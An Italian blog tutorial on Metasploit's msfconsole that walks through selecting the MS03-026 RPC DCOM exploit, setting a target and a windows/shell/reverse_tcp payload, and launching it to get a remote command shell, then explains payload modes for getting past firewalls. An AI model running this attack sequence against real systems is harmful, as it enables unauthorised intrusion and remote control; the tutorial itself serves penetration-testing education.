- notageek.it di Mirko Iodice - http://www.notageek.it -

Guida a Metasploit Framework Parte 3 – La console, gli Exploit e i Payload

In questa terza parte della serie dedicata a Metasploit Framework, dopo una breve panoramica dei principali strumenti, vi darò le nozioni basilari sulle modalità d'uso della msfconsole, in particolare mi soffermerò sull'uso dei moduli Exploit e Payload.

msf-assistant.png

Usare Metasploit

Innanzitutto vorrei richiamare alla vostra attenzione i diversi strumenti che Metasploit ci mette a disposizione.

Osservate il contenuto della cartella di installazione

metasploit_use01.png [1]


 

Vediamo alcuni screenshot dei vari strumenti appena descritti

metasploit_use02.png [2]
metasploit_use03.png [3]
metasploit_use04.png [4]


metasploit_use05.png [5]
metasploit_use12.png [6]


In questo articolo vi mostrerò l'uso della msfconsole in quanto ritengo che questo strumento costituisca l'approccio più completo alle funzionalità del framework, senza contare il fatto che quando sarete in grado di lanciare un attacco tramite msfconsole utilizzare gli altri strumenti risulterà essere una operazione banalissima... e forse anche non più necessaria.

Ho volutamente tralasciato msfopcode ed msfpescan poiché sono strumenti che risolvono bisogni specifici di chi scrive exploit personalizzati, in ogni caso sono riservati ad un utenza di tipo avanzata.

La Console

Aprite un terminale e raggiungete la cartella del framework, per eseguire la console sarà sufficiente fornire il comando

sudo ./msfconsole
metasploit_use04.png [4]


N.B: quando utilizzate la console vi consiglio di tenere il terminale a tutto schermo, a seconda delle dimensioni del Desktop può aumentare sensibilmente la leggibilità del testo restituito in output.

Digitare help ci restituirà una breve lista dei comandi disponibili

metasploit_use06.png [7]


Iniziamo subito a prendere confidenza con lo strumento... il comando show mostra la lista completa dei moduli di un determinato tipo, per esempio

show exploits

ci restituisce la lista completa degli exploit disponibili; tenere il framework aggiornato vi permette anche di ottenere tutti i nuovi exploit.

metasploit_use07.png [8]


show payloads

ci restituisce la lista completa dei payload utilizzabili con gli exploit

metasploit_use08.png [9]


Allo stesso modo anche i comandi

show encoders
show auxiliary
show nops

restituiscono le rispettive liste di moduli

metasploit_use09.png [10]
metasploit_use10.png [11]
metasploit_use11.png [12]


In questo momento parleremo soltanto degli Exploit e dei Payload ma intendo comunque fare un minimo di chiarezza.

 

Altri comandi generici:

 

Gli exploit e i payload

Il primo passo per attaccare un sistema tramite Metasploit, tralasciando ovviamente la scansione dei servizi, consiste nel scegliere uno o più exploit in grado di sfruttare le vulnerabilità che potrebbero affliggerlo.

N.B: nmap, se installato sul sistema, è utilizzabile anche all'interno della msfconsole; provate pure a digitare il comando "nmap" e osservatene la risposta.

metasploit_use23.png [16]


Quando poco fa avete eseguito il comando show exploits avrete sicuramente notato che gli exploit sono catalogati in categorie e sottocategorie, più o meno il criterio di catalogazione rispecchia la seguente forma

sistema operativo / servizio-applicazione / vulnerabilità

lo stesso vale per i payload, questo sistema (introdotto nella versione 3 del framework) rende molto più intuitiva la ricerca dell'exploit e del payload da utilizzare.

L'exploit che utilizzerò per questa dimostrazione è quello che sfrutta il famoso overflow dell'interfaccia RPC DCOM (ricordate il Worm W32.Blaster [17]?), vediamo come visualizzare maggiori informazioni su di esso

info windows/dcerpc/ms03_026_dcom
metasploit_use13.png [18]


La porta 135 (RPC) del bersaglio è raggiungibile, questo exploit è proprio ciò che fa al caso nostro... selezioniamolo tramite il comando use

use windows/dcerpc/ms03_026_dcom
metasploit_use14.png [19]


Di conseguenza al comando use il prompt dei comandi è stato modificato, infatti ora indica che stiamo utilizzando l'exploit specificato ed abbiamo perciò accesso ad un altra serie di opzioni, provate ad eseguire il comando show options

show options
metasploit_use15.png [20]


L'output di questo comando mira a renderci consapevoli delle possibili configurazioni supportate dal modulo exploit che abbiamo selezionato, tali configurazioni possono essere fatte tramite il comando set. L'exploit preso in esame è molto semplice, stando a quanto indicato dal campo "Required" (obbligatorio) abbiamo la sola necessità di configurare la variabile RHOST ("remote host", ovvero l'indirizzo IP del sistema da attaccare). Non è necessario nemmeno selezionare un sistema operativo target in quanto questo modulo viene dichiarato come Universal (universale).

Selezioniamo allora il nostro RHOST

set RHOST 192.168.192.180
metasploit_use16.png [21]


Se provate ad eseguire nuovamente il comando show options noterete che la variabile RHOST risulta ora impostata

metasploit_use17.png [22]


Dunque... abbiamo selezionato un exploit, un bersaglio... non ci resta che selezionare un payload, ovvero l'azione che vogliamo venga eseguita sul sistema remoto qualora l'exploit andasse a buon fine.

set PAYLOAD windows/shell/reverse_tcp
metasploit_use18.png [23]


Questo payload fa in modo che il sistema attaccato si connetta al nostro computer fornendoci una shell dei comandi tramite la quale avremo la possibilità di controllarlo, tra poco elencherò brevemente le varie tipologie di payload ma per il momento, per non creare confusione, seguite solamente i miei passi.

Se eseguite nuovamente il comando show options vedrete che alle precedenti opzioni relative all'exploit si sono aggiunte quelle relative al payload selezionato, anche i payload infatti hanno bisogno di configurazioni.... alcuni più di altri.

show options
metasploit_use19.png [24]


L'unico campo obbligatorio che non risulta compilato è LHOST ("local host", ovvero l'indirizzo IP locale del nostro computer); abbiamo detto infatti che il payload in questione farà in modo che il sistema remoto si connetta al nostro computer quindi avrà ovviamente bisogno di conoscerne l'indirizzo IP.

set LHOST 192.168.192.3

Ancora una volta, eseguendo show options noterete che anche il modulo payload è ora completamente configurato.

metasploit_use20.png [25]


Adesso che tutte le variabili obbligatorie sono state correttamente impostate non resterebbe che lanciare l'attacco tramite il comando exploit... nel caso in cui vi stiate chiedendo se esista la possibilità di eseguire una verifica preventiva sulla vulnerabilità del sistema bersaglio, la sezione "Exploit Commands" dell'help vi fornirà la risposta alla domanda.

help
metasploit_use21.png [26]


Il comando check permette infatti di eseguire una analisi preventiva del sistema remoto, purtroppo però non tutti gli exploit supportano questa funzionalità. Il nostro ms03_026_dcom per esempio non supporta il check.

Quando vi sentite pronti eseguite il comando exploit per dare il via al processo d'attacco.

exploit

Ecco il risultato

metasploit_use22.png [27]


Una volta che avrete terminato di utilizzare la shell dei comandi sarà possibile chiuderla tramite il comando exit oppure con la combinazione di tasti control-c (questa termina forzatamente la sessione, se possibile non utilizzatela).

Non c'è molto da aggiungere, l'utilizzo di Metasploit è semplice ed intuitivo, le azioni da eseguire sono veramente poche. Ovviamente le sue funzionalità non si limitano soltanto a quanto abbiamo visto in questo breve articolo, in futuro ci sarà sicuramente spazio per approfondirne alcuni aspetti specifici.

I payload in dettaglio

Poco fa ho parlato dei moduli payload e per non creare confusione ho evitato di entrare un po' più nel dattaglio, vediamoli ora.

Innanzitutto occorre dire che le tipologie di payload messe a disposizione sono principalmente queste:

Ognuno di questi payload può essere eseguito in varie modalità, la scelta è dettata dalla situazione nella quale l'attaccante si trova ad operare. Per esempio: se il sistema fosse protetto da firewall e volessimo comunque ottenere un prompt dei comandi su di esso sarebbe necessario utilizzare una modalità reverse shell (Reverse TCP Stager/Inline) piuttosto che una connessione diretta (Bind TCP Stager/Inline), oppure se il sistema remoto fosse protetto da un firewall in grado di fare ispezione dei pacchetti a livello applicativo (application filter) potrebbe esistere la necessità di eseguire il payload tramite PassiveX Reverse HTTP Tunneling Stager, in questo caso verrà dapprima modificato il registro di sistema e poi lanciato Internet Explorer il quale sarà a questo punto configurato per caricare un controllo ActiveX in grado di eseguire il tunneling HTTP del payload verso il nostro computer (questa modalità è in grado di sfruttare anche le configurazioni di proxy e autenticazione Internet).

Riassumendo... ogni tipologia di payload sopra elencata supporta quindi le modalità appena descritte, ovvero: Reverse TCP Stager/Inline, Bind TCP Stager/Inline e PassiveX Reverse HTTP Tunneling Stager.

Risorse in rete

Autore

Mirko Iodice
mirko -at- notageek (.dot) it

Suggeriti dall'autore